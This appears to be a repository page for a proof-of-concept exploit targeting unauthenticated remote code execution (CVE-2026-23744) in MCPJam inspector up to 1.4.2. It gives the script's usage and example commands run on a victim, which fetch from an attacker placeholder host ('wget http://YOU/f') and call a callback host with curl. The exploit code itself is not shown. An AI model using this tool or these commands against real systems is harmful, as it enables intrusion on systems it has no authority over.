fckoo/mcpjaminspector-unauth-rceДоказательство концепции эксплуатации для CVE-2026-23744 — неаутентифицированного удалённого выполнения кода в MCPJam inspector <= 1.4.2, позволяющего выполнение команд на уязвимых целях.
CVE-2026-23744
RCE в MCPJam inspector <= 1.4.2
https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6
usage: mcpjaminspector-unauth-rce.py [-h] --target TARGET --command COMMAND
options:
-h, --help show this help message and exit
--target TARGET Target e.g https://127.0.0.1
--command COMMAND Command to exec on remote target. e.g: wget http://YOU/f
python3 mcpjaminspector-unauth-rce.py --target "http://mymcp.local/" --command "curl http://myinteractsh.local/test"